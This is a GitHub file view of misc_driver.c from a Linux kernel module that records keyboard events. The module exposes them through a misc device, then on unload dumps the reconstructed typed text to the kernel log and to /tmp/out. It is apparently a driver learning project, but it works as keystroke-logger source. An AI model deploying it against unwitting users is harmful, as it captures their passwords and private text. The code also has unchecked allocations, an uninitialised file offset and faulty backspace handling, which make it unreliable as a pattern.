-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmisc_driver.c
More file actions
200 lines (175 loc) · 4.22 KB
/
misc_driver.c
File metadata and controls
200 lines (175 loc) · 4.22 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
#include "kps_driver.h"
/*
* seq_file:
* Create virtual file that can provide information to users.
* virtual file seq_file interface aspects:
* 1. An iterator of objects to virtual file to present.
* 2. Utility functions to format the output.
* 3. A set of file_operations to operate on the virtual file.
*/
static void *ct_seq_start(struct seq_file *sf, loff_t *pos)
{
struct key_entry *p;
loff_t i = 0;
mutex_lock(&kps_data.lock);
if (list_empty(&kps_data.entries))
goto UNLOCK;
p = list_first_entry(&kps_data.entries, struct key_entry, list);
while (i < *pos && !list_is_last(&p->list, &kps_data.entries)) {
p = list_next_entry(p, list);
i++;
}
if (i != *pos)
goto UNLOCK;
mutex_unlock(&kps_data.lock);
return p;
UNLOCK:
mutex_unlock(&kps_data.lock);
return NULL;
}
static void *ct_seq_next(struct seq_file *s, void *v, loff_t *pos)
{
struct key_entry *p = v;
struct key_entry *next;
(*pos)++;
mutex_lock(&kps_data.lock);
if (list_is_last(&p->list, &kps_data.entries))
next = NULL;
else
next = list_next_entry(p, list);
mutex_unlock(&kps_data.lock);
return next;
}
static void ct_seq_stop(struct seq_file *s, void *v)
{
/*
* We should have this even tho we do nothing.
* Otherwise seq_read_iter try to dereference NULL.
*/
//printk(KERN_DEBUG "%s: called\n", __func__);
}
static int ct_seq_show(struct seq_file *sf, void *v)
{
struct key_entry *p = (struct key_entry*)v;
seq_printf(sf, "%d:%d:%d %s(%c) %s\n",
p->hh,
p->mm,
p->ss,
p->k_data.name,
p->k_data.ascii_key,
p->state == Pressed ? "Pressed" : "Released"
);
//list_del(&p->list);
//kfree(p);
return 0;
}
static const struct seq_operations ct_seq_ops = {
.start = ct_seq_start,
.next = ct_seq_next,
.stop = ct_seq_stop,
.show = ct_seq_show,
};
static int ct_open(struct inode *inode, struct file *file)
{
file->private_data = NULL;
return seq_open(file, &ct_seq_ops);
}
struct file_operations fops = {
.open = ct_open,
.read = seq_read,
.llseek = seq_lseek,
.release = seq_release,
};
struct miscdevice ct_misc_device = {
.minor = MISC_DYNAMIC_MINOR,
.name = "kps_driver",
.fops = &fops,
};
int register_misc_device(void)
{
int ret;
printk(KERN_INFO "%s: register device\n", __func__);
ret = misc_register(&ct_misc_device);
return ret;
}
static char c_frequency(char *buffer)
{
size_t i = 0;
size_t j = 0;
int freq = 0;
int count = 0;
char res = buffer[0];
while (buffer[i])
{
count = 0;
j = i + 1;
while (buffer[j])
{
if (buffer[i] == buffer[j])
count++;
j++;
}
if (count >= freq)
{
res = buffer[i];
freq = count;
}
i++;
}
printk(KERN_INFO "%s: %c\n",__func__, res);
return res;
}
static void log_and_cleanup(void)
{
struct key_entry *entry;
struct file *file;
char *buffer;
char *fbuffer;
char mc;
size_t i = 0;
loff_t pos;
buffer = kmalloc(kps_data.aLen + 2, GFP_KERNEL);
fbuffer = kmalloc(kps_data.aLen + 1, GFP_KERNEL);
memzero_explicit(buffer, kps_data.aLen + 2);
while (!list_empty(&kps_data.entries)) {
entry = list_first_entry(&kps_data.entries, struct key_entry, list);
if (entry->k_data.ascii_key != 0x0 && entry->state != Released)
{
buffer[i] = entry->k_data.ascii_key;
fbuffer[i] = buffer[i];
i++;
}
else if (entry->keycode == 0x0E && i > 0 && buffer[i - 1] != '\n')
{
/* Delete the last character */
buffer[i--] = '\0';
}
list_del(&entry->list);
kfree(entry);
}
fbuffer[i] = '\0';
printk(KERN_INFO "%s: buffer: %s\n", __func__, fbuffer);
mc = c_frequency(fbuffer);
buffer[i++] = '\n';
buffer[i] = '\0';
file = filp_open("/tmp/out", O_WRONLY | O_CREAT, 0);
kernel_write(file, buffer, i, &pos);
kernel_write(file, &">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n", 43, &pos);
kernel_write(file, &"Most used chars\n", 16, &pos);
if (mc == '\n')
kernel_write(file, &"Enter", 5, &pos);
else if (mc == ' ')
kernel_write(file, &"Space", 5, &pos);
else
kernel_write(file, &mc, 1, &pos);
kernel_write(file, &"\n<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\n", 44, &pos);
filp_close(file, NULL);
}
void deregister_misc_device(void)
{
printk(KERN_INFO "%s: deregister device\n", __func__);
misc_deregister(&ct_misc_device);
log_and_cleanup();
mutex_lock(&kps_data.lock);
mutex_unlock(&kps_data.lock);
}